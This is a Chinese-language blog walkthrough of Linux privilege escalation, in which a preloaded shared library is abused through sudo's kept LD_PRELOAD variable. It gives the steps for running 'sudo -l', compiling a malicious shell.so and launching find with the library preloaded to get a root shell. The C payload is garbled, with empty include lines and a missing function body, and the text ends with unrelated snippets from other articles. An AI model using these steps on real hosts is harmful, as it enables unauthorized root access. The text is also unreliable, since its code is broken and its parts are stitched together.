使用LD Preload的Linux許可權公升級技巧

2022-07-03 13:48:17 字數 1448 閱讀 3635

共享庫是程式在啟動時載入的庫。

正確安裝共享庫後,之後啟動的所有程式將自動使用新的共享庫。

每個共享庫都有乙個名為soname的特殊名稱。

soname有字首lib,庫的字尾名為.so,後跟句號和版本號。

動態鏈結器可以通過執行一些動態鏈結的程式或共享物件來間接執行。程式ld.so和ld linux.so*查詢並引導程式所需的共享物件(共享庫),準備程式執行,然後執行它。

(從這裡讀)

ld_preload:它是乙個環境變數,它列出了共享庫,其中包含重寫標準集的函式,就像/etc/ld.so.preload一樣。這些是由loader/lib/ld-linux實現的此處。

日誌使用者必須擁有一些sudo許可權,這一點很重要,因此,我們已經賦予sudo使用者一些sudo許可權,例如由sudo使用者執行的/usr/bin/find。但除此之外,還有一些預設配置,您可以在其中設定乙個環境變數作為sudo

為此,請按照以下步驟操作:

要利用此類漏洞,我們需要立即攻擊受害者的主機,然後進入到許可權提公升階段。

假設你現在通過ssh成功登入到受害者的主機上,利用

sudo -l

命令來檢測它並獲取利用資訊。注意突出顯示的環境變數將作為sudo執行環境。

讓我們在/tmp目錄中生成乙個c程式檔案。

#include #include 

#include

void

_init()

然後將其儲存為/cmp中的shell.c

如上所述,讓我們編譯它以生成乙個帶有.so副檔名的共享物件,同樣在windows作業系統中使用.dll檔案,因此輸入以下內容:

gcc -fpic -shared -o shell.so shell.c -nostartfiles

ls -al shell.so

sudo ld_preload=/tmp/shell.so find

idwhoami

非常好,我們獲得了root訪問許可權。

LD PRELOAD的偷梁換柱之能

原創 本文 發布日期 2015 年 06月 22日 ld preload是linux系統的乙個環境變數,它可以影響程式的執行時的鏈結 runtime linker 它允許你定義在程式執行前優先載入的動態鏈結庫。這個功能主要就是用來有選擇性的載入不同動態鏈結庫中的相同函式。通過這個環境變數,我們可以在...

Android Log日誌AS使用及Linux輸出

1 log.v tag,列印那些最為瑣碎的,意義最小的日誌資訊。對應級別verbose,是android 日誌裡面級別最低的一種。2 log.d tag,列印一些除錯資訊,這些資訊對你除錯程式和分析問題應該是有幫助的。對應級別debug,比 verbose 高一級。3 log.i tag,列印一些比...

windows使用ubuntu啟動linux服務

有些服務只能在linux中策馬奔騰,但是公司配置windows電腦,因此在windows中安裝ubuntu服務,再在啟動的ubuntu中啟動linux服務 系統 win10 其他系統沒試過 安裝步驟 1.檢查 網路和internet是否開啟 應該關閉 伺服器,否則無法開啟windows商店 2.在w...